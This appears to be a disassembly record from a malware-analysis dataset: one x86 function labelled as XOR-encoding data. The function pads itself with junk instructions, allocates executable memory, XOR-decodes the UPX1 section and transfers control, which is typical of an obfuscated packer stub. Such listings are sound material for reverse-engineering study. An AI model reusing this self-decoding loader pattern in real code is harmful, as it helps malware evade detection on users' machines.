Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd291b381
and eax, eax
not edi
dec edi
popal
inc eax
mov eax, 0x74a02615
mov esi, 0
mov ebx, edx
not ecx
mov eax, ecx
mov edi, ebx
add eax, 0x76ce8193
not ecx
mov edx, edi
add ecx, ecx
sub eax, 0xc25dfb54
mov eax, 0xb33295a1
inc esi
add ecx, 0x1772ad9a
sub ecx, 0xecd7a1dc
add eax, eax
cmp esi, 0x1009f84
jne 0x47b44b
and ecx, ecx
add ecx, ecx
add edi, edi
add edi, 0x819257de
mov edi, 0x47b21e
and esi, esi
add esi, 1
mov ebx, 0x47b412
dec ecx
inc eax
mov edx, dword [edi]
add ecx, ecx
add eax, 0x33585337
and edx, 0xff
or ecx, esi
mov ecx, 0xff9b7bf5
not esi
xor dword [ebx], edx
add eax, ecx
sub ecx, 0xb9cd7ad5
inc ebx
sub ecx, eax
add eax, 0x882bb65f
inc edi
mov esi, eax
add eax, 0x93aa68a1
cmp ebx, entry0
jl 0x47b4a5
add eax, 0xfdc4cbe3
not esi
add esi, 1
add eax, ecx
not eax
dec ecx
add ecx, 1
inc esi
mov edi, 0x47b416
inc ecx
mov esi, 0x71df47e3
and ecx, esi
mov edi, dword [edi]
mov ecx, edx
and edx, ebx
mov esi, 0x5d7d58aa
mov edi, dword [edi]
sub ebx, 0x82c0dfcb
mov esi, edx
sub ecx, 0x854782c9
push edi
add ebx, edx
sub edx, esi
dec ecx
mov edi, 0x47b412
sub ebx, 0xa59e9bfb
not ebx
mov edi, dword [edi]
not edx
sub ecx, edx
mov edi, dword [edi]
dec ecx
mov esi, ecx
add edx, ebx
sub esp, 4
mov dword [esp], 0x47b41a
mov ebx, edx
not esi
call edi
sub ebx, 0x2de7caf8
sub esi, ebx
sub edx, esi
pop edi
sub esi, ecx
dec ebx
add ebx, 0x90c0a704
sub esp, 4
mov dword [esp], 0x47b427
mov ebx, edx
or esi, ecx
push eax
inc ebx
sub ecx, ebx
or esi, ecx
call edi
sub ecx, esi
add edx, 0x73453fa6
and ebx, esi
sub esp, 4
mov dword [esp], 0x40
or ebx, ebx
inc ebx
or ebx, edx
push 0x3000
mov ecx, 0x996295
and ebx, ecx
mov ecx, 0x2db33d6a
push 0x2000064f
or esi, edx
inc edx
mov ecx, 0xcd1a4ddb
sub esp, 4
mov dword [esp], 0
sub esi, ecx
and ecx, ecx
inc esi
call eax
and esi, esi
mov ecx, 0xfed429b3
add eax, 0x200005b2
sub esi, 0x99559f01
add esi, esi
mov edi, 0x8eb4089a
and ebx, ebx
inc edx
mov dword [eax], edi
inc esi
dec ebx
or edx, esi
mov edi, dword [eax]
or esi, esi
sub edx, 0x6fa5b94c
cmp edi, 0x8eb4089a
je 0x47b606
mov edx, 0
mov ebx, dword [edx]
add esi, ecx
or edx, esi
mov ecx, 0x8dae9dd3
and esi, ebx
inc esi
not ebx
sub edi, 1
add edi, 0x6ad5bdf6
add eax, edi
mov esi, section.UPX1
not eax
add eax, eax
mov edx, 0x47b21d
and eax, eax
sub eax, 0xd698175e
mov ecx, 0
add edi, 0x92fefbb0
sub edi, 0x4918f37b
mov ebx, 0x47b21e
add eax, 0x4a08330c
sub eax, edi
inc eax
lea ebx, [ecx + ebx]
sub eax, 1
inc edi
mov ebx, dword [ebx]
dec eax
add eax, 1
sub eax, edi
and ebx, 0xff
mov eax, edi
dec edi
sub edi, 0x26a2766e
inc ecx
mov edi, eax
or eax, eax
cmp ecx, 0x1f4
jne 0x47b68d
mov ecx, 0
add eax, 0x455d3c47
not eax
add eax, edi
sub eax, 1
sub edi, 1
xor dword [esi], ebx
mov eax, 0x7e7004b2
mov edi, eax
add esi, 2
dec edi
sub edi, eax
or edi, eax
cmp esi, edx
jl 0x47b649
or edi, eax
not edi
sub edi, 1
mov eax, edi
sub edi, eax
mov edx, section.UPX1
sub edi, ecx
and ecx, ecx
mov ecx, edi
mov esi, section.UPX1
add edi, 0x8a80f2b9
dec ecx
mov eax, 0x47b21d
dec ecx
inc edi
inc edi
mov ebx, 0
mov edi, ecx
sub ecx, edi
or edi, ecx
mov bl, byte [esi]
sub edi, 0x62f7173
and edi, edi
mov ecx, edi
mov byte [edx], bl
or edi, ecx
mov edi, 0xd7eee87b
add ecx, 0x1149f39e
inc edx
sub edi, ecx
mov edi, ecx
add esi, 2
sub ecx, edi
sub edi, ecx
mov ecx, edi
cmp esi, eax
jle 0x47b6f7
add ecx, ecx
add ecx, ecx
or ecx, edi
not edi
sub eax, edi
sub esp, 4
mov dword [esp], 0x45e6a0
dec eax
add edi, edi
add edi, eax
ret